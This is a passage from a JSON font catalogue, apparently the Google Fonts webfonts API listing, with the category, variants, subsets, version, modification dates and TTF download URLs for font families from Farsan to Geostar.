"webfonts#webfont", "family": "Farsan", "category": "display", "variants": [ "regular" ], "subsets": [ "vietnamese", "gujarati", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/farsan/v5/VEMwRoJ0vY_zsyz62q-pxDX9rQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Fascinate", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fascinate/v8/z7NWdRrufC8XJK0IIEli1LbQRPyNrw.ttf" } }, { "kind": "webfonts#webfont", "family": "Fascinate Inline", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fascinateinline/v9/jVyR7mzzB3zc-jp6QCAu60poNqIy1g3CfRXxWZQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Faster One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fasterone/v11/H4ciBXCHmdfClFb-vWhfyLuShq63czE.ttf" } }, { "kind": "webfonts#webfont", "family": "Fasthand", "category": "serif", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fasthand/v10/0yb9GDohyKTYn_ZEESkuYkw2rQg1.ttf" } }, { "kind": "webfonts#webfont", "family": "Fauna One", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/faunaone/v7/wlpzgwTPBVpjpCuwkuEx2UxLYClOCg.ttf" } }, { "kind": "webfonts#webfont", "family": "Faustina", "category": "serif", "variants": [ "regular", "500", "600", "700", "italic", "500italic", "600italic", "700italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v6", "lastModified": "2020-02-05", "files": { "regular": "http://fonts.gstatic.com/s/faustina/v6/XLY4IZPxYpJfTbZAFXWzNT2SO8wpWHlsgoEvGVWWe8tbEg.ttf", "500": "http://fonts.gstatic.com/s/faustina/v6/XLY4IZPxYpJfTbZAFXWzNT2SO8wpWHlssIEvGVWWe8tbEg.ttf", "600": "http://fonts.gstatic.com/s/faustina/v6/XLY4IZPxYpJfTbZAFXWzNT2SO8wpWHlsXIYvGVWWe8tbEg.ttf", "700": "http://fonts.gstatic.com/s/faustina/v6/XLY4IZPxYpJfTbZAFXWzNT2SO8wpWHlsZYYvGVWWe8tbEg.ttf", "italic": "http://fonts.gstatic.com/s/faustina/v6/XLY2IZPxYpJfTbZAFV-6B8JKUqez9n55SsLHWl-SWc5LEnoF.ttf", "500italic": "http://fonts.gstatic.com/s/faustina/v6/XLY2IZPxYpJfTbZAFV-6B8JKUqez9n55SsL1Wl-SWc5LEnoF.ttf", "600italic": "http://fonts.gstatic.com/s/faustina/v6/XLY2IZPxYpJfTbZAFV-6B8JKUqez9n55SsIZXV-SWc5LEnoF.ttf", "700italic": "http://fonts.gstatic.com/s/faustina/v6/XLY2IZPxYpJfTbZAFV-6B8JKUqez9n55SsIgXV-SWc5LEnoF.ttf" } }, { "kind": "webfonts#webfont", "family": "Federant", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/federant/v12/2sDdZGNfip_eirT0_U0jRUG0AqUc.ttf" } }, { "kind": "webfonts#webfont", "family": "Federo", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/federo/v11/iJWFBX-cbD_ETsbmjVOe2WTG7Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Felipa", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/felipa/v7/FwZa7-owz1Eu4F_wSNSEwM2zpA.ttf" } }, { "kind": "webfonts#webfont", "family": "Fenix", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fenix/v7/XoHo2YL_S7-g5ostKzAFvs8o.ttf" } }, { "kind": "webfonts#webfont", "family": "Finger Paint", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fingerpaint/v9/0QInMXVJ-o-oRn_7dron8YWO85bS8ANesw.ttf" } }, { "kind": "webfonts#webfont", "family": "Fira Code", "category": "monospace", "variants": [ "300", "regular", "500", "600", "700" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v8", "lastModified": "2020-02-04", "files": { "300": "http://fonts.gstatic.com/s/firacode/v8/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_GNsFVfxN87gsj0.ttf", "regular": "http://fonts.gstatic.com/s/firacode/v8/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sFVfxN87gsj0.ttf", "500": "http://fonts.gstatic.com/s/firacode/v8/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_A9sFVfxN87gsj0.ttf", "600": "http://fonts.gstatic.com/s/firacode/v8/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_ONrFVfxN87gsj0.ttf", "700": "http://fonts.gstatic.com/s/firacode/v8/uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_NprFVfxN87gsj0.ttf" } }, { "kind": "webfonts#webfont", "family": "Fira Mono", "category": "monospace", "variants": [ "regular", "500", "700" ], "subsets": [ "cyrillic", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/firamono/v8/N0bX2SlFPv1weGeLZDtQIfTTkdbJYA.ttf", "500": "http://fonts.gstatic.com/s/firamono/v8/N0bS2SlFPv1weGeLZDto1d33mf3VaZBRBQ.ttf", "700": "http://fonts.gstatic.com/s/firamono/v8/N0bS2SlFPv1weGeLZDtondv3mf3VaZBRBQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Fira Sans", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-22", "files": { "100": "http://fonts.gstatic.com/s/firasans/v10/va9C4kDNxMZdWfMOD5Vn9IjOazP3dUTP.ttf", "100italic": "http://fonts.gstatic.com/s/firasans/v10/va9A4kDNxMZdWfMOD5VvkrCqYTfVcFTPj0s.ttf", "200": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnWKnuQR37fF3Wlg.ttf", "200italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrAGQBf_XljGllLX.ttf", "300": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnPKruQR37fF3Wlg.ttf", "300italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrBiQxf_XljGllLX.ttf", "regular": "http://fonts.gstatic.com/s/firasans/v10/va9E4kDNxMZdWfMOD5VfkILKSTbndQ.ttf", "italic": "http://fonts.gstatic.com/s/firasans/v10/va9C4kDNxMZdWfMOD5VvkojOazP3dUTP.ttf", "500": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnZKvuQR37fF3Wlg.ttf", "500italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrA6Qhf_XljGllLX.ttf", "600": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnSKzuQR37fF3Wlg.ttf", "600italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrAWRRf_XljGllLX.ttf", "700": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnLK3uQR37fF3Wlg.ttf", "700italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrByRBf_XljGllLX.ttf", "800": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnMK7uQR37fF3Wlg.ttf", "800italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrBuRxf_XljGllLX.ttf", "900": "http://fonts.gstatic.com/s/firasans/v10/va9B4kDNxMZdWfMOD5VnFK_uQR37fF3Wlg.ttf", "900italic": "http://fonts.gstatic.com/s/firasans/v10/va9f4kDNxMZdWfMOD5VvkrBKRhf_XljGllLX.ttf" } }, { "kind": "webfonts#webfont", "family": "Fira Sans Condensed", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOjEADFm8hSaQTFG18FErVhsC9x-tarWZXtqOlQfx9CjA.ttf", "100italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOtEADFm8hSaQTFG18FErVhsC9x-tarUfPVzONUXRpSjJcu.ttf", "200": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWTnMiMN-cxZblY4.ttf", "200italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVYMJ0dzRehY43EA.ttf", "300": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWV3PiMN-cxZblY4.ttf", "300italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVBMF0dzRehY43EA.ttf", "regular": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOhEADFm8hSaQTFG18FErVhsC9x-tarYfHnrMtVbx8.ttf", "italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOjEADFm8hSaQTFG18FErVhsC9x-tarUfPtqOlQfx9CjA.ttf", "500": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWQXOiMN-cxZblY4.ttf", "500italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVXMB0dzRehY43EA.ttf", "600": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWSnJiMN-cxZblY4.ttf", "600italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVcMd0dzRehY43EA.ttf", "700": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWU3IiMN-cxZblY4.ttf", "700italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVFMZ0dzRehY43EA.ttf", "800": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWVHLiMN-cxZblY4.ttf", "800italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVCMV0dzRehY43EA.ttf", "900": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOsEADFm8hSaQTFG18FErVhsC9x-tarWXXKiMN-cxZblY4.ttf", "900italic": "http://fonts.gstatic.com/s/firasanscondensed/v4/wEOuEADFm8hSaQTFG18FErVhsC9x-tarUfPVLMR0dzRehY43EA.ttf" } }, { "kind": "webfonts#webfont", "family": "Fira Sans Extra Condensed", "category": "sans-serif", "variants": [ "100", "100italic", "200", "200italic", "300", "300italic", "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic", "800", "800italic", "900", "900italic" ], "subsets": [ "cyrillic", "vietnamese", "cyrillic-ext", "greek-ext", "greek", "latin-ext", "latin" ], "version": "v4", "lastModified": "2019-07-17", "files": { "100": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPMcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3Zyuv1WarE9ncg.ttf", "100italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPOcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqW21-ejkp3cn22.ttf", "200": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3TCPn3-0oEZ-a2Q.ttf", "200italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWd36-pGR7e2SvJQ.ttf", "300": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3VSMn3-0oEZ-a2Q.ttf", "300italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWE32-pGR7e2SvJQ.ttf", "regular": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPKcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda5fiku3efvE8.ttf", "italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPMcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fquv1WarE9ncg.ttf", "500": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3QyNn3-0oEZ-a2Q.ttf", "500italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWS3y-pGR7e2SvJQ.ttf", "600": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3SCKn3-0oEZ-a2Q.ttf", "600italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWZ3u-pGR7e2SvJQ.ttf", "700": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3USLn3-0oEZ-a2Q.ttf", "700italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWA3q-pGR7e2SvJQ.ttf", "800": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3ViIn3-0oEZ-a2Q.ttf", "800italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWH3m-pGR7e2SvJQ.ttf", "900": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPPcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda3XyJn3-0oEZ-a2Q.ttf", "900italic": "http://fonts.gstatic.com/s/firasansextracondensed/v4/NaPxcYDaAO5dirw6IaFn7lPJFqXmS-M9Atn3wgda1fqWO3i-pGR7e2SvJQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Fjalla One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/fjallaone/v7/Yq6R-LCAWCX3-6Ky7FAFnOZwkxgtUb8.ttf" } }, { "kind": "webfonts#webfont", "family": "Fjord One", "category": "serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fjordone/v8/zOL-4pbEnKBY_9S1jNKr6e5As-FeiQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Flamenco", "category": "display", "variants": [ "300", "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/flamenco/v10/neIPzCehqYguo67ssZ0qNIkyepH9qGsf.ttf", "regular": "http://fonts.gstatic.com/s/flamenco/v10/neIIzCehqYguo67ssaWGHK06UY30.ttf" } }, { "kind": "webfonts#webfont", "family": "Flavors", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-26", "files": { "regular": "http://fonts.gstatic.com/s/flavors/v9/FBV2dDrhxqmveJTpbkzlNqkG9UY.ttf" } }, { "kind": "webfonts#webfont", "family": "Fondamento", "category": "handwriting", "variants": [ "regular", "italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fondamento/v10/4UaHrEJGsxNmFTPDnkaJx63j5pN1MwI.ttf", "italic": "http://fonts.gstatic.com/s/fondamento/v10/4UaFrEJGsxNmFTPDnkaJ96_p4rFwIwJePw.ttf" } }, { "kind": "webfonts#webfont", "family": "Fontdiner Swanky", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fontdinerswanky/v10/ijwOs4XgRNsiaI5-hcVb4hQgMvCD4uEfKiGvxts.ttf" } }, { "kind": "webfonts#webfont", "family": "Forum", "category": "display", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/forum/v10/6aey4Ky-Vb8Ew_IWMJMa3mnT.ttf" } }, { "kind": "webfonts#webfont", "family": "Francois One", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v14", "lastModified": "2019-07-17", "files": { "regular": "http://fonts.gstatic.com/s/francoisone/v14/_Xmr-H4zszafZw3A-KPSZutNxgKQu_avAg.ttf" } }, { "kind": "webfonts#webfont", "family": "Frank Ruhl Libre", "category": "serif", "variants": [ "300", "regular", "500", "700", "900" ], "subsets": [ "hebrew", "latin-ext", "latin" ], "version": "v5", "lastModified": "2019-07-17", "files": { "300": "http://fonts.gstatic.com/s/frankruhllibre/v5/j8_36_fAw7jrcalD7oKYNX0QfAnPUxvHxJDMhYeIHw8.ttf", "regular": "http://fonts.gstatic.com/s/frankruhllibre/v5/j8_w6_fAw7jrcalD7oKYNX0QfAnPa7fv4JjnmY4.ttf", "500": "http://fonts.gstatic.com/s/frankruhllibre/v5/j8_36_fAw7jrcalD7oKYNX0QfAnPU0PGxJDMhYeIHw8.ttf", "700": "http://fonts.gstatic.com/s/frankruhllibre/v5/j8_36_fAw7jrcalD7oKYNX0QfAnPUwvAxJDMhYeIHw8.ttf", "900": "http://fonts.gstatic.com/s/frankruhllibre/v5/j8_36_fAw7jrcalD7oKYNX0QfAnPUzPCxJDMhYeIHw8.ttf" } }, { "kind": "webfonts#webfont", "family": "Freckle Face", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/freckleface/v8/AMOWz4SXrmKHCvXTohxY-YI0U1K2w9lb4g.ttf" } }, { "kind": "webfonts#webfont", "family": "Fredericka the Great", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v9", "lastModified": "2019-07-26", "files": { "regular": "http://fonts.gstatic.com/s/frederickathegreat/v9/9Bt33CxNwt7aOctW2xjbCstzwVKsIBVV-9Skz7Ylch2L.ttf" } }, { "kind": "webfonts#webfont", "family": "Fredoka One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fredokaone/v7/k3kUo8kEI-tA1RRcTZGmTmHBA6aF8Bf_.ttf" } }, { "kind": "webfonts#webfont", "family": "Freehand", "category": "display", "variants": [ "regular" ], "subsets": [ "khmer" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/freehand/v11/cIf-Ma5eqk01VjKTgAmBTmUOmZJk.ttf" } }, { "kind": "webfonts#webfont", "family": "Fresca", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fresca/v8/6ae94K--SKgCzbM2Gr0W13DKPA.ttf" } }, { "kind": "webfonts#webfont", "family": "Frijole", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/frijole/v8/uU9PCBUR8oakM2BQ7xPb3vyHmlI.ttf" } }, { "kind": "webfonts#webfont", "family": "Fruktur", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fruktur/v12/SZc53FHsOru5QYsMfz3GkUrS8DI.ttf" } }, { "kind": "webfonts#webfont", "family": "Fugaz One", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/fugazone/v9/rax_HiWKp9EAITukFslMBBJek0vA8A.ttf" } }, { "kind": "webfonts#webfont", "family": "GFS Didot", "category": "serif", "variants": [ "regular" ], "subsets": [ "greek" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gfsdidot/v9/Jqzh5TybZ9vZMWFssvwiF-fGFSCGAA.ttf" } }, { "kind": "webfonts#webfont", "family": "GFS Neohellenic", "category": "sans-serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "greek" ], "version": "v12", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gfsneohellenic/v12/8QIRdiDOrfiq0b7R8O1Iw9WLcY5TLahP46UDUw.ttf", "italic": "http://fonts.gstatic.com/s/gfsneohellenic/v12/8QITdiDOrfiq0b7R8O1Iw9WLcY5jL6JLwaATU91X.ttf", "700": "http://fonts.gstatic.com/s/gfsneohellenic/v12/8QIUdiDOrfiq0b7R8O1Iw9WLcY5rkYdr644fWsRO9w.ttf", "700italic": "http://fonts.gstatic.com/s/gfsneohellenic/v12/8QIWdiDOrfiq0b7R8O1Iw9WLcY5jL5r37oQbeMFe985V.ttf" } }, { "kind": "webfonts#webfont", "family": "Gabriela", "category": "serif", "variants": [ "regular" ], "subsets": [ "cyrillic", "cyrillic-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gabriela/v8/qkBWXvsO6sreR8E-b_m-zrpHmRzC.ttf" } }, { "kind": "webfonts#webfont", "family": "Gaegu", "category": "handwriting", "variants": [ "300", "regular", "700" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "300": "http://fonts.gstatic.com/s/gaegu/v8/TuGSUVB6Up9NU57nifw74sdtBk0x.ttf", "regular": "http://fonts.gstatic.com/s/gaegu/v8/TuGfUVB6Up9NU6ZLodgzydtk.ttf", "700": "http://fonts.gstatic.com/s/gaegu/v8/TuGSUVB6Up9NU573jvw74sdtBk0x.ttf" } }, { "kind": "webfonts#webfont", "family": "Gafata", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gafata/v8/XRXV3I6Cn0VJKon4MuyAbsrVcA.ttf" } }, { "kind": "webfonts#webfont", "family": "Galada", "category": "display", "variants": [ "regular" ], "subsets": [ "bengali", "latin" ], "version": "v5", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/galada/v5/H4cmBXyGmcjXlUX-8iw-4Lqggw.ttf" } }, { "kind": "webfonts#webfont", "family": "Galdeano", "category": "sans-serif", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v9", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/galdeano/v9/uU9MCBoQ4YOqOW1boDPx8PCOg0uX.ttf" } }, { "kind": "webfonts#webfont", "family": "Galindo", "category": "display", "variants": [ "regular" ], "subsets": [ "latin-ext", "latin" ], "version": "v7", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/galindo/v7/HI_KiYMeLqVKqwyuQ5HiRp-dhpQ.ttf" } }, { "kind": "webfonts#webfont", "family": "Gamja Flower", "category": "handwriting", "variants": [ "regular" ], "subsets": [ "korean", "latin" ], "version": "v8", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gamjaflower/v8/6NUR8FiKJg-Pa0rM6uN40Z4kyf9Fdty2ew.ttf" } }, { "kind": "webfonts#webfont", "family": "Gayathri", "category": "sans-serif", "variants": [ "100", "regular", "700" ], "subsets": [ "malayalam", "latin" ], "version": "v1", "lastModified": "2019-11-05", "files": { "100": "http://fonts.gstatic.com/s/gayathri/v1/MCoWzAb429DbBilWLLhc-pvSA_gA2W8.ttf", "regular": "http://fonts.gstatic.com/s/gayathri/v1/MCoQzAb429DbBilWLIA48J_wBugA.ttf", "700": "http://fonts.gstatic.com/s/gayathri/v1/MCoXzAb429DbBilWLLiE37v4LfQJwHbn.ttf" } }, { "kind": "webfonts#webfont", "family": "Gelasio", "category": "serif", "variants": [ "regular", "italic", "500", "500italic", "600", "600italic", "700", "700italic" ], "subsets": [ "vietnamese", "latin-ext", "latin" ], "version": "v1", "lastModified": "2020-03-03", "files": { "regular": "http://fonts.gstatic.com/s/gelasio/v1/cIf9MaFfvUQxTTqSxCmrYGkHgIs.ttf", "italic": "http://fonts.gstatic.com/s/gelasio/v1/cIf_MaFfvUQxTTqS9CuhZEsCkIt9QQ.ttf", "500": "http://fonts.gstatic.com/s/gelasio/v1/cIf4MaFfvUQxTTqS_N2CRGEsnIJkWL4.ttf", "500italic": "http://fonts.gstatic.com/s/gelasio/v1/cIf6MaFfvUQxTTqS9CuZkGImmKBhSL7Y1Q.ttf", "600": "http://fonts.gstatic.com/s/gelasio/v1/cIf4MaFfvUQxTTqS_PGFRGEsnIJkWL4.ttf", "600italic": "http://fonts.gstatic.com/s/gelasio/v1/cIf6MaFfvUQxTTqS9CuZvGUmmKBhSL7Y1Q.ttf", "700": "http://fonts.gstatic.com/s/gelasio/v1/cIf4MaFfvUQxTTqS_JWERGEsnIJkWL4.ttf", "700italic": "http://fonts.gstatic.com/s/gelasio/v1/cIf6MaFfvUQxTTqS9CuZ2GQmmKBhSL7Y1Q.ttf" } }, { "kind": "webfonts#webfont", "family": "Gentium Basic", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gentiumbasic/v11/Wnz9HAw9aB_JD2VGQVR80We3HAqDiTI_cIM.ttf", "italic": "http://fonts.gstatic.com/s/gentiumbasic/v11/WnzjHAw9aB_JD2VGQVR80We3LAiJjRA6YIORZQ.ttf", "700": "http://fonts.gstatic.com/s/gentiumbasic/v11/WnzgHAw9aB_JD2VGQVR80We3JLasrToUbIqIfBU.ttf", "700italic": "http://fonts.gstatic.com/s/gentiumbasic/v11/WnzmHAw9aB_JD2VGQVR80We3LAixMT8eaKiNbBVWkw.ttf" } }, { "kind": "webfonts#webfont", "family": "Gentium Book Basic", "category": "serif", "variants": [ "regular", "italic", "700", "700italic" ], "subsets": [ "latin-ext", "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/gentiumbookbasic/v10/pe0zMJCbPYBVokB1LHA9bbyaQb8ZGjcIV7t7w6bE2A.ttf", "italic": "http://fonts.gstatic.com/s/gentiumbookbasic/v10/pe0xMJCbPYBVokB1LHA9bbyaQb8ZGjc4VbF_4aPU2Ec9.ttf", "700": "http://fonts.gstatic.com/s/gentiumbookbasic/v10/pe0wMJCbPYBVokB1LHA9bbyaQb8ZGjcw65Rfy43Y0V4kvg.ttf", "700italic": "http://fonts.gstatic.com/s/gentiumbookbasic/v10/pe0-MJCbPYBVokB1LHA9bbyaQb8ZGjc4VYnDzofc81s0voO3.ttf" } }, { "kind": "webfonts#webfont", "family": "Geo", "category": "sans-serif", "variants": [ "regular", "italic" ], "subsets": [ "latin" ], "version": "v11", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/geo/v11/CSRz4zRZlufVL3BmQjlCbQ.ttf", "italic": "http://fonts.gstatic.com/s/geo/v11/CSRx4zRZluflLXpiYDxSbf8r.ttf" } }, { "kind": "webfonts#webfont", "family": "Geostar", "category": "display", "variants": [ "regular" ], "subsets": [ "latin" ], "version": "v10", "lastModified": "2019-07-16", "files": { "regular": "http://fonts.gstatic.com/s/geostar/v10/sykz-yx4n701VLOftSq9-trEvlQ.ttf" } }, { "kind": "webfonts#webfont", "family": 